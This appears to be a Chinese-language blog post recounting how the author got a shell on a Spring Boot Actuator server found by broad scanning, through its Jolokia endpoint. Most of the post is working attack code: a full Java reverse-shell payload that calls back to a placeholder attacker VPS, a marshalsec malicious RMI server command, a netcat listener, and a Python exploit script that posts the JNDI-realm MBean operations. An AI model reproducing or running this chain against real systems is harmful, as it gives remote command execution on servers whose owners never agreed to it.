那些年拿过的shell之springboot jolokia rce

日穿扫描扫到一个spring boot actuator

可以看到有jolokia这个端点，再看下jolokia/list，存在type=MBeanFactory 关键字



可以使用jolokia-realm-jndi-rce具体步骤如下

先用python3开一个web服务

python3 -m http.server 8080

编译java利用代码

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

javac -source 1.5 -target 1.5 JNDIObject.java

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389

监听端口

nc -lvp 443

执行exp

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt

import requests

url = 'http://127.0.0.1:8080/jolokia'

create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

python3 springboot-realm-jndi-rce.py

然后等两秒shell就回来了